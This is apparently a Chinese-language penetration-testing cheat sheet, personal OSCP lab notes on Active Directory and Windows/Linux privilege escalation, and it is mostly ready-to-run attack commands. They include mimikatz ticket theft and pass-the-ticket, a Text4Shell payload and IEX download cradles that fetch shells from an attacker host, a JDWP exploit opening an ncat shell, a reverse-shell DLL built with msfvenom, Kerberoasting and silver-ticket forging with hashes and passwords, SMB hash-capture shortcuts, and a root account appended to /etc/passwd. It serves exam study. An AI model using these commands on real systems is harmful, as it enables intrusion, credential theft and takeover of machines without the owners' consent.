 + FullyQualifiedErrorId : DirUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildItemCommand

mimikatz #privilege::debug
Privilege '20' OK
mimikatz #sekurlsa::tickets /export

Authentication Id : 0 ; 2037286 (00000000:001f1626)
Session : Batch from 0
User Name : dave
Domain : CORP
Logon Server : DC1
Logon Time : 9/14/2022 6:24:17 AM
SID : S-1-5-21-1987370270-658905905-1781884369-1103

 * Username : dave
 * Domain : CORP.COM
 * Password : (null)

 Group 0 - Ticket Granting Service

 Group 1 - Client Ticket ?

 Group 2 - Ticket Granting Ticket
 [00000000]
 Start/End/MaxRenew: 9/14/2022 6:24:17 AM ; 9/14/2022 4:24:17 PM ; 9/21/2022 6:24:17 AM
 Service Name (02) : krbtgt ; CORP.COM ; @ CORP.COM
 Target Name (02) : krbtgt ; CORP ; @ CORP.COM
 Client Name (01) : dave ; @ CORP.COM ( CORP )
 Flags 40c10000 : name_canonicalize ; initial ; renewable ; forwardable ;
 Session Key : 0x00000012 - aes256_hmac
 f0259e075fa30e8476836936647cdabc719fe245ba29d4b60528f04196745fe6
 Ticket : 0x00000012 - aes256_hmac ; kvno = 2 [...]
 * Saved to file [0;1f1626]-2-0-40c10000-dave@krbtgt-CORP.COM.kirbi !
...

PS C:\Tools> dir *.kirbi
 Directory: C:\Tools
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 9/14/2022 6:24 AM 1561 [0;12bd0]-0-0-40810000-dave@cifs-web04.kirbi
-a---- 9/14/2022 6:24 AM 1505 [0;12bd0]-2-0-40c10000-dave@krbtgt-CORP.COM.kirbi
-a---- 9/14/2022 6:24 AM 1561 [0;1c6860]-0-0-40810000-dave@cifs-web04.kirbi
-a---- 9/14/2022 6:24 AM 1505 [0;1c6860]-2-0-40c10000-dave@krbtgt-CORP.COM.kirbi
-a---- 9/14/2022 6:24 AM 1561 [0;1c7bcc]-0-0-40810000-dave@cifs-web04.kirbi
-a---- 9/14/2022 6:24 AM 1505 [0;1c7bcc]-2-0-40c10000-dave@krbtgt-CORP.COM.kirbi
-a---- 9/14/2022 6:24 AM 1561 [0;1c933d]-0-0-40810000-dave@cifs-web04.kirbi
-a---- 9/14/2022 6:24 AM 1505 [0;1c933d]-2-0-40c10000-dave@krbtgt-CORP.COM.kirbi
-a---- 9/14/2022 6:24 AM 1561 [0;1ca6c2]-0-0-40810000-dave@cifs-web04.kirbi
-a---- 9/14/2022 6:24 AM 1505 [0;1ca6c2]-2-0-40c10000-dave@krbtgt-CORP.COM.kirbi
...

mimikatz # kerberos::ptt [0;12bd0]-0-0-40810000-dave@cifs-web04.kirbi
* File: '[0;12bd0]-0-0-40810000-dave@cifs-web04.kirbi': OK

PS C:\Tools> klist
Current LogonId is 0:0x13bca7
Cached Tickets: (1)
#0> Client: dave @ CORP.COM
 Server: cifs/web04 @ CORP.COM
 KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
 Ticket Flags 0x40810000 -> forwardable renewable name_canonicalize
 Start Time: 9/14/2022 5:31:32 (local)
 End Time: 9/14/2022 15:31:13 (local)
 Renew Time: 9/21/2022 5:31:13 (local)
 Session Key Type: AES-256-CTS-HMAC-SHA1-96
 Cache Flags: 0
 Kdc Called:

PS C:\Tools> ls \\web04\backup
 Directory: \\web04\backup
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 9/13/2022 2:52 AM 0 backup_schemata.txt

# 其实就是导出内存的票据 然后导入就行

91.ftp主动模式

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40


切换到主动模式的命令是:
quote pasv
或者在连接前就使用 -A 参数强制使用主动模式:
ftp -A 192.168.172.145

用 passive 命令关闭被动模式:
ftp> passive
Passive mode: off

如果还是不行,可以在连接前设置环境变量:
Copyexport FTP_PASSIVE=0
ftp 192.168.172.145

使用其他 FTP 客户端如 lftp,它有更清晰的主动/被动模式控制:
lftp -u anonymous 192.168.172.145
lftp> set ftp:passive-mode off

使用 ls -la 或 ls -l 命令来查看详细列表：
ftp> ls -la

尝试切换到二进制模式后再列目录：
ftp> binary
ftp> dir

使用 quote LIST 命令直接发送原始 FTP 命令：
ftp> quote LIST

尝试用 mls 命令保存目录列表到本地文件：
ftp> mls - listing.txt

尝试访问一些 Windows FTP 服务器上常见的默认目录：
ftp> cd pub
或
ftp> cd upload

如果知道具体文件名，可以直接尝试获取：
ftp> get filename.txt

也可以尝试切换到父目录看看：
ftp> cdup

92.SSH隧道

1
2
3
4
5
6
7
8


ssh -R 443:192.168.45.184:443 -R 80:192.168.45.184:80 web_svc@192.168.139.147

# -L 是将目标机器上的端口转移到本地 -R是将本地的端口转移到目标机器上的端口然后开启
ssh -L 443:192.168.45.184:443 -L 80:192.168.45.184:80 web_svc@192.168.139.147

# 搭建隧道通流量用的
ssh -D 1080 -N Administrator@192.168.125.153
proxychains本地1080就行

93.snmpwalk

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16


snmpwalk -v1 -c public IP

snmpwalk -v2c -c public 192.168.139.149 NET-SNMP-EXTEND-MIB::nsExtendObjects
snmpwalk -v 2c -c public 192.168.139.149 NET-SNMP-EXTEND-MIB::nsExtendOutputFull

# 上面的命令会查询到命令名称比如
# RESET就是命令
NET-SNMP-EXTEND-MIB::nsExtendCommand."RESET" = STRING: ./home/john/RESET_PASSWD

snmpwalk -v1 -c public IP NET-SNMP-EXTEND-MIB::nsExtendOutputFull.\"命令名\"

# 常用扩展MIB查询
snmpwalk -v1 -c public IP NET-SNMP-EXTEND-MIB::nsExtendObjects
snmpwalk -v1 -c public IP NET-SNMP-EXTEND-MIB::nsExtendConfigTable
snmpwalk -v1 -c public IP NET-SNMP-EXTEND-MIB::nsExtendOutput1Table
snmpwalk -v1 -c public IP NET-SNMP-EXTEND-MIB::nsExtendOutput2Table

94.CVE-2022–42889(Text4Shell)

https://meyerweb.com/eric/tools/dencoder/ #url加密网址

1
2


${script:javascript:java.lang.Runtime.getRuntime().exec('command')}
%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime().exec(%27wget%20192.168.45.184%2Fcmdjsp.jsp%20-O%20%2Ftmp%2Fshell%27)%7D

95.Java Debug Wire Protocol (JDWP) - Remote Code Execution

https://www.exploit-db.com/exploits/46501

https://github.com/IOActive/jdwp-shellifier/

1
2
3
4


$ python ./jdwp-shellifier.py -t my.target.ip -p 1234 --cmd "ncat -v -l -p 1234 -e /bin/bash"

最重要的一点 记得要触发accept()事件 就比如这个java开在什么端口上 你就必须去主动nc触发一下
其实在cmd的exp里集成了 但是还是要注意端口

96.windows本地提权(更全面必须用)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17


# 下载PowerUp
wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1

# 在目标机器上
powershell -ep bypass
. .\PowerUp.ps1
Get-ModifiableServiceFile

# 或者全面检查
Invoke-AllChecks

Invoke-AllChecks会检查所有可能的服务提权点，包括:
可修改的服务可执行文件
未引用路径服务
服务权限配置错误等

这样的话不用自行去寻找提权点了 比如可修改的服务可执行文件等等

97.chisel

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33


# 这个代理工具没有ligolo-ng好用 但是他有一个ligolo-ng所没有的特性
# 就是将本地的端口转发出来 ligolo-ng没有办法将本地的服务转发出来
# 平常我用的是frp 但是在oscplabs中 比如ftp lcx ew 等等都无法使用
# 我也不知道为什么无法使用 chisel有时候都无法使用 比如在oscplabs中时
# 我发现chisel将本地端口代理出来也不行 只有ssh隧道能代理出来
# 但还是记录一下 毕竟本地端口也是个非常重要的东西

# 启动服务端
./chisel server -p 8000 --reverse
# 反向端口转发(将目标1433端口转发到攻击机)
chisel.exe client ATTACKER_IP:8000 R:1433:127.0.0.1:1433

# 攻击机
./chisel server -p 8000 --reverse
# 目标机
chisel.exe client ATTACKER_IP:8000 R:ATTACKER_PORT:127.0.0.1:TARGET_PORT

# 上面是将靶机本地的端口转发出来 下面的是将kali的端口转发到windows上
# 场景就是ligolo-ng隧道 内网主机无法访问到kali 他只被允许访问内网资源 就可以做这个
# Kali攻击机
./chisel server -p 8000 --reverse
# 靶机
chisel.exe client KALI_IP:8000 R:80:KALI_IP:80

转发靶机端口到Kali:
bashCopychisel.exe client KALI:8000 R:1433:127.0.0.1:1433
 ↑
 指向靶机本地

转发Kali端口到靶机:
bashCopychisel.exe client KALI:8000 R:80:KALI_IP:80
 ↑
 指向Kali

98.windows命令行解压

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14


使用内置expand命令：
expand .\nmap.zip -F:* C:\programdata\test

使用PowerShell：
Expand-Archive -Path c:\source\archive.zip -DestinationPath c:\destination

如果目标目录存在，需要加-Force：
powershellCopyExpand-Archive -Path .\nmap.zip -DestinationPath C:\programdata\test -Force

使用tar命令(Windows 10以上):
tar -xf nmap.zip

# 解压
Expand-Archive nmap.zip

99.非常规思路

1
2
3
4
5
6


# 快速扫描
nmap -Pn -n 192.168.207.187 -sC -sV -p- --open
# 不要忘记文件上传可上传的东西
echo "AddType application/x-httpd-php .dork" > .htaccess
# 服务账户失去所有权限可用
https://itm4n.github.io/localservice-privileges/?source=post_page

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20


# 配置需要的特权列表
$Privs = @(
 "SeAssignPrimaryTokenPrivilege",
 "SeAuditPrivilege",
 "SeChangeNotifyPrivilege",
 "SeCreateGlobalPrivilege",
 "SeImpersonatePrivilege",
 "SeIncreaseQuotaPrivilege",
 "SeShutdownPrivilege",
 "SeUndockPrivilege",
 "SeIncreaseWorkingSetPrivilege",
 "SeTimeZonePrivilege"
)
# 创建任务Principal
$TaskPrincipal = New-ScheduledTaskPrincipal -UserId "LOCALSERVICE" -LogonType ServiceAccount -RequiredPrivilege $Privs
# 创建要执行的命令(这里用反弹shell示例)
$TaskAction = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-ep Bypass -Command `". C:\path\to\shell.ps1; powercat -l -p 7003 -ep`""
# 注册并启动任务
Register-ScheduledTask -Action $TaskAction -TaskName "PrivEsc" -Principal $TaskPrincipal
Start-ScheduledTask -TaskName "PrivEsc"

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16


# 如果在域本机上 不要忘记使用powershell脚本 在本地找SPN等等信息
https://github.com/compwiz32/PowerShell/blob/master/Get-SPN.ps1
## 1. 导入脚本
Import-Module .\Get-SPN.ps1
# 2. 查找SPN
Get-SPN -type service
# 3. 请求票据
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/DC.access.offsec"
# 4. 导出票据
Invoke-Mimikatz -Command '"kerberos::list /export"'
# 或使用PowerShell命令导出
klist.exe purge
klist.exe tgt
# 5. 使用hashcat破解
hashcat -m 13100 ticket.kirbi wordlist.txt

1
2
3
4


# 利用域用户权限请求任意SPN的TGS票据 主要场景就是域控或者成员主机上没有账密的时候
powershell iwr http://192.168.45.154/Invoke-Kerberoast.ps1 -outfile Invoke-Kerberoast.ps1
.\Invoke-Kerberoast.ps1
Invoke-Kerberoast -OutputFormat HashCat|Out-File -Encoding ASCII hash.txt

1
2
3
4
5
6
7
8
9


# 域内获得账号密码 能直接登录横向的工具
https://github.com/antonioCoco/RunasCs/blob/master/Invoke-RunasCs.ps1
Invoke-RunasCs -Username svc_mssql -Password trustno1 -Command "whoami"
Invoke-RunasCs -Username user -Password pass -Command "powershell IEX(New-Object Net.WebClient).DownloadString('http://x.x.x.x/shell.ps1')"

# Enter-PSSession 是自带的 也能用
$SecPassword = ConvertTo-SecureString 'Password123' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('domain\user', $SecPassword)
Enter-PSSession -ComputerName target -Credential $Cred

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


whoami /priv
# 上面会显示一些特权 还会显示一些没被启用得特权 这时候可以尝试启用
# 启用特权
$TokenPriv = Get-TokenPrivilege
Enable-TokenPrivilege -TokenPrivilege $TokenPriv -Privilege SeManageVolumePrivilege
# 验证是否启用
whoami /priv

# 下面这个自动化的可以直接全部启用
https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.html
.\EnableAllTokenPrivs.ps1
whoami /priv

令牌备忘录
https://github.com/gtworek/Priv2Admin

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14


SeMachineAccountPrivilege,SeManageVolumePrivilege特权在这一片有所介绍
https://medium.com/@Dpsypher/proving-grounds-practice-access-b95d3146cfe9
https://github.com/CsEnox/SeManageVolumeExploit/releases/tag/public
# 1. 启用权限
Enable-TokenPrivilege -Privilege SeManageVolumePrivilege
# 2. 修改C盘权限,获得写入权限
.\SeManageVolumeExploit.exe
# 3. DLL劫持
# - systeminfo程序会加载tzres.dll
# - 在C:\windows\system32\wbem写入恶意tzres.dll
# - 生成DLL反弹shell:
msfvenom -p windows/x64/shell_reverse_tcp [...] -f dll -o tzres.dll
# 4. 执行systeminfo触发DLL加载获取SYSTEM权限
tzres.dll是系统组件,systeminfo运行时会加载它

1
2
3
4
5
6


# 1. 如果发现服务账户带$符号,且todo提到gMSA,说明是托管服务账户
# 2. 使用GMSAPasswordReader读取hash
.\gmsapasswordreader.exe --accountname svc_apache
.\\gmsapasswordreader.exe --accountname svc_apache
# 3. 得到rc4_hmac hash用于登录
evil-winrm -i IP -u svc_apache$ -H 526C435B8E4CF11F447D6EF7152665BB

1
2
3
4
5
6
7
8


serestore权限
# 下面这种利用方法也还行
https://r4j3sh.medium.com/heist-pg-practice-write-up-fbfd6b90b02a

# 更加简单的方法 能直接执行shell
https://github.com/dxnboy/redteam/blob/master/SeRestoreAbuse.exe
SeRestoreAbuse.exe C:\Windows\System32\utilman.exe
SeRestoreAbuse.exe "C:\Windows\System32\cmd.exe" "C:\Windows\System32\utilman.exe"

1
2
3
4
5
6
7
8


# smb钓鱼 发起认证的时候 responder监听就行了 能拿到HTLM
# https://github.com/Greenwolf/ntlm_theft 这里各种方法都有

[InternetShortcut]
URL=Random_nonsense
WorkingDirectory=Flibertygibbit
IconFile=\\<YOUR tun0 IP>\%USERNAME%.icon
IconIndex=1

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40


GPO(组策略)提权

# 导入PowerView
Import-Module .\PowerView.ps1

# 查找默认域策略的信息和GUID
Get-GPO -Name "Default Domain Policy"

Get-GPPermission -Guid <GUID> -TargetType User -TargetName <当前用户>
# 权限类型可能包括:
# - GpoApply: 应用策略
# - GpoRead: 读取策略
# - GpoEdit: 编辑策略
# - GpoCustom: 自定义权限

.\SharpGPOAbuse.exe
--AddLocalAdmin # 添加本地管理员
--UserAccount # 指定要添加的用户账号
--GPOName # 指定要修改的GPO名称

# 其他可用参数:
--AddComputerScript # 添加计算机启动脚本
--AddUserScript # 添加用户登录脚本
--AddUserTask # 添加计划任务
--Command # 指定要执行的命令

# 查询权限
Get-GPPermission -Guid 31b2f340-016d-11d2-945f-00c04fb984f9 -TargetType User -TargetName anirudh
https://github.com/byronkg/SharpGPOAbuse/tree/main/SharpGPOAbuse-master
# 上面是项目地址 下面是漏洞利用
.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount anirudh --GPOName "Default Domain Policy"
gpupdate /force

.\SharpGPOAbuse.exe
--AddLocalAdmin # 行为：添加本地管理员权限
--UserAccount anirudh # 要添加谁：用户名anirudh
--GPOName "Default Domain Policy" # 修改哪个GPO：默认域策略

gpupdate # 更新组策略
/force # 强制立即更新，不等待默认刷新时间

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13


# 白银票据非常有意思的用法
# 在域控服务器上可能开着mssql 我们有svc_mssql作为服务账户可以用Kerberos直接认证
# 但是普通服务账户可能无法开启xmdshell的 就可以制作白银票据
# 因为我们已经可以访问mssql并登陆了
impacket-ticketer -nthash <HASH> -domain-sid <SID> -domain nagoya-industries.com -spn MSSQL/nagoya.nagoya-industries.com -user-id 500 Administrator
impacket-mssqlclient -k nagoya.nagoya-industries.com
impacket-ticketer -nthash E3A0168BC21CFB88B95C954A5B18F57C -domain-sid S-1-5-21-1969309164-1513403977-1686805993 -domain nagoya-industries.com -spn MSSQL/nagoya.nagoya-industries.com -user-id 500 Administrator

# PowerView
Get-DomainSID

# 原生PowerShell
(Get-ADDomain).DomainSID.Value

1

Get-ADUser -Filter {SamAccountName -eq "svc_mssql"} -Properties ServicePrincipalNames

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50


# 设置票据所在位置
export KRB5CCNAME=$PWD/Administrator.ccache

# 下面这个是之前没有接触过的 平常只要导入票据 比如KRB5CCNAME 就没问题了
# 但是白银票据的导入貌似还要下面的这个配置文件
/etc/krb5user.conf
[libdefaults]
 default_realm = NAGOYA-INDUSTRIES.COM
 kdc_timesync = 1
 ccache_type = 4
 forwardable = true
 proxiable = true
 rdns = false
 dns_canonicalize_hostname = false
 fcc-mit-ticketflags = true

[realms]
 NAGOYA-INDUSTRIES.COM = {
 kdc = nagoya.nagoya-industries.com
 }

[domain_realm]
 .nagoya-industries.com = NAGOYA-INDUSTRIES.COM

# mssql连就行了 最好用impacket的
impacket-mssqlclient -k nagoya.nagoya-industries.com

Kerberos配置文件搜索顺序:

KRB5_CONFIG环境变量指定的位置
/etc/krb5.conf(默认位置)
/etc/krb5user.conf
~/.krb5user.conf

# 只需修改这些部分:
default_realm = YOUR.DOMAIN.COM # 域名
[realms]
YOUR.DOMAIN.COM = {
 kdc = dc.your.domain.com # 域控制器
}
[domain_realm]
.your.domain.com = YOUR.DOMAIN.COM # 域名映射

其他配置可以保持不变:
kdc_timesync
ccache_type
forwardable
proxiable
rdns
等这些是Kerberos行为配置,通常不需要修改。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


# 在bloodhound里如果看到自身对某一个用户具有GenericWrite权限 就可以修改他的SPN
# 然后获得TGT 挺有意思的一个利用
targetedKerberoast.py -v -d 'hokkaido-aerospace.com' -u 'hrapp-service' -p 'Untimed$Runny' --dc-ip 192.168.208.40
https://wadcoms.github.io/wadcoms/targetedKerberoast/

targetedKerberoast和普通的Kerberoast不同:
普通Kerberoast:
powershellCopy# 任何域用户都能执行
Get-DomainUser -SPN # 枚举所有SPN
Rubeus.exe kerberoast # 请求所有SPN的票据

targetedKerberoast针对性利用:
需要GenericWrite权限
可以临时给普通用户添加SPN
获取票据后再移除SPN

1
2
3
4
5
6


# bloodhound里面可以找到的
# 当前用户有ReadLAPSPassword权限
# 可以读取域内机器的本地管理员密码

ldapsearch -v -c -D username@domain.com -w password -b "DC=domain,DC=com" -H ldap://DC_IP "(ms-MCS-AdmPwd=*)" ms-MCS-AdmPwd
ldapsearch -v -c -D fmcsorley@hutch.offsec -w CrabSharkJellyfish192 -b "DC=hutch,DC=offsec" -H ldap://$IP "(ms-MCS-AdmPwd=*)" ms-MCS-AdmPwd

100.OSCP一些细节

任意文件读取

任意文件读取更多的是读重要信息吧，比如SSH私钥，但是在浏览器里面读取的时候会导致格式错乱，我之前也遇到过这种情况，没有什么好的解决办法，就是挨个找位数挨个回车，但是OSCP提到了这一点

其实就是curl就行了

1
2
3
4


curl http://mountaindesserts.com/meteor/index.php?page=../../../../../../../../../home/offsec/.ssh/id_rsa

--path-as-is
这个参数可以让curl 不要把 ../../ 给变成/

测试目录字典

1
2
3
4


C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\drivers\etc\hosts
C:\inetpub\wwwroot\web.config
C:\inetpub\logs\LogFiles\W3SVC1\

apache 2.4.49目录遍历漏洞

1
2
3


curl http://192.168.50.16/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd --path-as-is

curl http://192.168.50.16/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/opt/passwd --path-as-is

responder

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


ip a
sudo responder -I tun0
sudo responder -I tun0 -v

一个非常有意思的案例
当域内主机存在ssrf漏洞的时候 我一般会让他向我的攻击机http请求
但是http请求通常不会需要认证 他也就不会携带HTLM
但是 smb和webdav他是会携带的 再配合伪协议就行
file:////192.168.45.184/share
或者webdav
http://192.168.45.184/share

态势感知信息收集(非常重要)windows提权

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44


# 当前用户所属的所有组
whoami /groups

powershell
# 本机用户和是否启用 以及描述
Get-LocalUser

# 本地组
Get-LocalGroup

# 以上面组名为参数 查看这个组的成员
Get-LocalGroupMember adminteam

# 路由表
route print

# 查看所有的应用程序
Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname

# 查看进程
Get-Process

# 类似于find把 思路可以
Get-ChildItem -Path C:\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue
Get-ChildItem -Path C:\xampp -Include *.txt,*.ini -File -Recurse -ErrorAction SilentlyContinue
Get-ChildItem -Path C:\Users\dave\ -Include *.txt,*.pdf,*.xls,*.xlsx,*.doc,*.docx -File -Recurse -ErrorAction SilentlyContinue

# 转录文件 可能存在账号密码
C:\Users\Public\Transcripts\transcript01.txt

# 检索历史记录
(Get-PSReadlineOption).HistorySavePath

# 可能存在密码的文件
C:\Users\All Users\Microsoft\UEV\InboxTemplates\RoamingCredentialSettings.xml
C:\Users\dave\AppData\Local\Packages\MicrosoftWindows.Client.WebExperience_cw5n1h2txyewy\LocalState\EBWebView\ZxcvbnData\3.0.0.0\passwords.txt
C:\Users\dave\AppData\Local\Packages\MicrosoftTeams_8wekyb3d8bbwe\LocalCache\Microsoft\MSTeams\EBWebView\ZxcvbnData\3.0.0.0\passwords.txt

# 存在的服务
# 这一条过滤了 没有运行的服务
Get-CimInstance -ClassName win32_service | Select Name,State,PathName | Where-Object {$_.State -like 'Running'}

# 显示所有服务
Get-CimInstance -ClassName win32_service | Select Name,State,PathNam

1
2


# 查看文件权限
icacls "C:\xampp\apache\bin\httpd.exe"

Mask	Permissions
F	Full access
M	Modify access
RX	Read and execute access
R	Read-only access
W	Write-only access

替换服务exe的时候可以自行编译一个

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25


adduser.c

```c

#include &lt;stdlib.h&gt;

int main ()
{
int i;

i = system ("net user dave2 password123! /add");
i = system ("net localgroup administrators dave2 /add");

return 0;
}

```text
x86_64-w64-mingw32-gcc adduser.c -o adduser.exe

后续就是net stop或者net start 服务了

# 查看目标服务的启动类型
Get-CimInstance -ClassName win32_service | Select Name, StartMode | Where-Object {$_.Name -like 'mysql'}

AUTO就是自启动

PowerUp.ps1

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29


powershell -ep bypass
. .\PowerUp.ps1

# 显示可修改的服务
Get-ModifiableServiceFile

# 一键替换二进制文件 默认创建一个名为john的本地用户，密码为Password123!
Install-ServiceBinary -Name 'mysql'

# 手动测试 检查权限
PS C:\Users\dave> $ModifiableFiles = echo 'C:\xampp\mysql\bin\mysqld.exe' | Get-ModifiablePath -Literal
PS C:\Users\dave> $ModifiableFiles

ModifiablePath IdentityReference Permissions
-------------- ----------------- -----------
C:\xampp\mysql\bin\mysqld.exe BUILTIN\Users {WriteOwner, Delete, WriteAttributes, Synchronize...}

PS C:\Users\dave> $ModifiableFiles = echo 'C:\xampp\mysql\bin\mysqld.exe argument' | Get-ModifiablePath -Literal

PS C:\Users\dave> $ModifiableFiles

ModifiablePath IdentityReference Permissions
-------------- ----------------- -----------
C:\xampp\mysql\bin NT AUTHORITY\Authenticated Users {Delete, WriteAttributes, Synchronize, ReadControl...}
C:\xampp\mysql\bin NT AUTHORITY\Authenticated Users {Delete, GenericWrite, GenericExecute, GenericRead}

PS C:\Users\dave> $ModifiableFiles = echo 'C:\xampp\mysql\bin\mysqld.exe argument -conf=C:\test\path' | Get-ModifiablePath -Literal

PS C:\Users\dave> $ModifiableFiles

dll劫持

1
2
3
4


原理：利用下面的命令找到软件版本 然后搜exp 根据漏洞类型来 这个思路一定要有
Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname

FileZilla FTP 3.63.1 存在dll劫持

不带引号的服务路径(非常重要和有意思的一个技巧)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


# 枚举运行和已停止的服务
Get-CimInstance -ClassName win32_service | Select Name,State,PathName
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
wmic service get name,pathname | findstr /i /v "C:\Windows\\" | findstr /i /v """
wmic service get name,displayname,pathname,startmode |findstr /i "auto"

比如 设置的路径如下 没有带引号
C:\Program Files\My Program\My Service\service.exe
原理
C:\Program.exe
C:\Program Files\My.exe
C:\Program Files\My Program\My.exe
C:\Program Files\My Program\My service\service.exe

然后重启服务即可

在示例中，我们可以将可执行文件命名为 Program.exe并将其放在C:\中，将My.exe并将其放在 C:\Program Files\中，或者将My.exe并将其放在C:\Program Files\My Program\中。但是，前两个选项需要一些不太可能的权限，因为标准用户默认没有写入这些目录的权限。第三个选项更有可能，因为它是软件的主目录。如果管理用户或开发人员将此目录的权限设置得太开放，我们就可以在那里放置恶意二进制文件。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


# 详细命令

icacls "C:\"
icacls "C:\Program Files"
icacls "C:\Program Files\Enterprise Apps"

检查哪个目录有当前用户的W命令就行 然后放入一个exe文件
找到了之后执行下面的命令就行
Stop-Service GammaService
Start-Service GammaService

还是PowerUp.ps1的技术

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


PowerUp.ps1
. .\PowerUp.ps1
# 和上面一样输出易受危害的服务
Get-UnquotedService
# 选择写入的路径
Write-ServiceBinary -Name 'GammaService' -Path "C:\Program Files\Enterprise Apps\Current.exe"
# 重启服务
Restart-Service GammaService

默认行为是创建一个名为john的新本地用户，密码为Password123!

计划任务提权

1
2
3
4
5
6
7
8


# 查看计划任务
schtasks /query /fo LIST /v
schtasks /query /fo LIST /v | findstr /i "Every:"
schtasks /query /fo LIST /v | findstr /i /C:"TaskName" /C:"Every:" /C:"Task To Run:"
# 确定具体的任务
schtasks /query /tn "\Microsoft\Windows\SomeTask" /fo LIST /v
# 确认权限 然后替换就行了
icacls C:\Users\steve\Pictures\BackendCacheCleanup.exe

漏洞提权

1
2
3


whoami /priv
systeminfo
Get-CimInstance -Class win32_quickfixengineering | Where-Object { $_.Description -eq "Security Update" }

linux提权(信息收集)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26


ls -l /etc/shadow
cat /etc/issue
cat /etc/os-release
uname -a
ps aux
ip a
routel	#路由表
ss -anp	#所有连接
cat /etc/iptables/rules.v4	#防火墙配置
ls -lah /etc/cron*					#计划任务
crontab -l		#计划任务
dpkg -l				#安装的应用程序
find / -writable -type d 2>/dev/null	#可写目录
cat /etc/fstab		#显示挂载驱动器
mount					#挂载的文件系统
lsblk					#查看可用磁盘
lsmod					#查看加载的内核模块
/sbin/modinfo libata	#上面收集到了模块 这里查看模块的更多信息
.bashrc				#自动设置环境变量的脚本 可能存在一些信息
env						#查看环境变量 可能存在信息
watch -n 1 "ps -aux | grep pass"		#类似于一个低配版的pspy32
sudo tcpdump -i lo -A | grep "pass"	#捕获流量
grep "CRON" /var/log/syslog					#查看系统日志里的自动任务 也是一个低配版的pspy32
/usr/sbin/getcap -r / 2>/dev/null		#cap_setuid+ep提权
searchsploit "linux kernel Ubuntu 16 Local Privilege Escalation" | grep "4." | grep -v " < 4.4.0" | grep -v "4.8"
# searchspoit的一个技巧吧

/etc/passwd 滥用

1
2


openssl passwd w00t
echo "root2:Fdzt.eqJQ4s0g:0:0:root:/root:/bin/bash" >> /etc/passwd

生成新字典的逻辑

1
2


# 根据密码的最小和最大长度 设置某一个密码为基准 来生成新的
crunch 6 6 -t Lab%%% > wordlist

windows提权

这里只记一部分主要是提醒作用吧

1
2
3
4
5


当所有的方法都不行的时候 记得多注意一下 winPEASany.exe的输出
里面的东西很全面 下面是手动方法 而winPEASany.exe集成了下面的所有的信息
https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#putty-ssh-host-keys
服务提权
wmic service get name,displayname,pathname,startmode |findstr /i "auto"

msf后利用

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29


# 指示目标机器当前是否正在使用 下面就是用户离开9分钟的意思
idletime
User has been idle for: 9 mins 53 secs

# 第一件事
getsystem

# 进程迁移
migrate 8052

# 启动隐藏的notepad并迁移进程
execute -H -f notepad
migrate 8052

# powershell第一件事执行这个 绕过系统的powershell的执行策略限制
PowerShell -ExecutionPolicy Bypass
powershell -ep bypass

# 端口转发
portfwd add -l 3389 -p 3389 -r 172.16.5.200

# 设置代理
use auxiliary/server/socks_proxy
